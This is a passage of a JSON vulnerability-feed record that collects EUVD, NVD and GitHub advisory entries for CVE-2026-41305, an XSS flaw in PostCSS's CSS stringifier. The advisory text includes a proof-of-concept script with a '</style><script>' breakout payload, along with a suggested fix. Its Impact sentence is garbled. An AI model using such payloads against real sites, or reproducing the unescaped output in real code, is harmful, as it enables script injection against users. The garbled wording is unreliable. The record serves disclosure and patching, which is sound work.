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timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-25383","identifiers":["EUVD-2026-25383","CVE-2026-41305"]},"retained":false,"historicalAffected":[]},{"revision":"e88ee1faa382439aba828997b5b35cb5","observedAt":"2026-10-25T09:17:35.966+00:00","statement":{"source":"nvd","id":"CVE-2026-41305","aliases":[],"title":"PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted…","description":"PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. 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Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-41305","identifiers":["CVE-2026-41305"]},"retained":false,"historicalAffected":[]},{"revision":"c2b16cf45c7847e18a7e639661e50499","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qx2v-qp2m-jg93","aliases":["CVE-2026-41305"],"title":"PostCSS has XSS via Unescaped </style> in its CSS Stringify Output","description":"# PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output\n\n## Summary\n\nPostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS.\n\n## Proof of Concept\n\n```javascript\nconst postcss = require('postcss');\n\n// Parse user CSS and re-stringify for page embedding\nconst userCSS = 'body { content: \"</style><script>alert(1)</script><style>\"; }';\nconst ast = postcss.parse(userCSS);\nconst output = ast.toResult().css;\nconst html = `<style>${output}</style>`;\n\nconsole.log(html);\n// <style>body { content: \"</style><script>alert(1)</script><style>\"; }</style>\n//\n// Browser: </style> closes the style tag, <script> executes\n```\n\n**Tested output** (Node.js v22, postcss v8.5.5):\n```\nInput: body { content: \"</style><script>alert(1)</script><style>\"; }\nOutput: body { content: \"</style><script>alert(1)</script><style>\"; }\nContains </style>: true\n```\n\n## Impact\n\nImpact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.\n\n## Suggested Fix\n\nEscape `</style` in all stringified output values:\n```javascript\noutput = output.replace(/<\\/(style)/gi, '<\\\\/$1');\n```\n\n## Credits\nDiscovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))","state":0,"publishedAt":"2026-04-24T15:31:42+00:00","modifiedAt":"2026-09-10T03:51:02.9164639+00:00","affected":[{"ecosystem":"npm","name":"postcss","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"8.5.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/postcss/postcss/security/advisories/GHSA-qx2v-qp2m-jg93","https://nvd.nist.gov/vuln/detail/CVE-2026-41305","https://github.com/postcss/postcss","https://github.com/postcss/postcss/releases/tag/8.5.10"],"sourceUrl":"https://github.com/advisories/GHSA-qx2v-qp2m-jg93","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qx2v-qp2m-jg93","identifiers":["GHSA-qx2v-qp2m-jg93","CVE-2026-41305"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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